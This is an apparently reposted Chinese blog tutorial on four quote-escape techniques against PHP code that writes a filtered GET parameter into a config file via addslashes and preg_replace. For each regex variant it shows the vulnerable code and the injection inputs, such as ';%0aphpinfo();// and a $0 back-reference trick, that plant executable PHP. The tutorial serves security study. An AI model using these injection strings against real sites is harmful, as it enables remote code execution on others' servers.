引号逃逸的4种类型

被匹配的内容:

<?php
$API='aaaa';
?>

第一种写入方式:

$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API='.*';/", "\$API='{$api}';", $file);
file_put_contents('./option.php', $file);

';%0aphpinfo();//

发现还有单引号被转义,因为addslashes($_GET['api']);有这个存在,我们输入内容就称为了

%0aphpinfo();//

可以继续输入为任意字符,这样$api接收的内容就会将单引号包裹的内容进行替换,我这里输入 1 ,成功绕过

第二种写入方式:

$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API='.*';/s", "\$API='{$api}';", $file); // 将正则规则为 换行符匹配
file_put_contents('./option.php', $file);

用上面的办法已经行不通了,因为一次匹配把换行之后的内容也匹配起来,可以先;phpinfo();,内容为如下

然后再输入$0,发现内容为如下,成功绕过

原因是:先;phpinfo();,可以让单引号中的内容为;phpinfo();,然后在$0,$0的意思为匹配完整的内容,$0\\0一个意思,就是正则匹配的结果,\\0代表完整的匹配

关于反向引用的内容参考:https://www.php.net/preg_replace/

这时候匹配到的内容就是$API=';phpinfo();';,将该内容填充为单引号中的内容,前面的单引号闭合,后面的也闭合,成功执行


第三种写入方式:

/\\\$API='.*?';/,这里是非贪婪模式进行正则匹配

';%0aphpinfo();//

然后输入1就可以成功绕过了


第四种写入方式:

/\\\$API='.*?';/s,这里是非贪婪模式,换行匹配

aaa';phpinfo();//

aaa 成功绕过

原因:加了贪婪模式之后,匹配的内容就是$API='aaa\'这一段,后面的;phpinfo();//';是匹配不到的,然后再输入aaa那么替换的就是aaa\这段,从而绕过!

猜你喜欢

转载自www.cnblogs.com/zpchcbd/p/12521637.html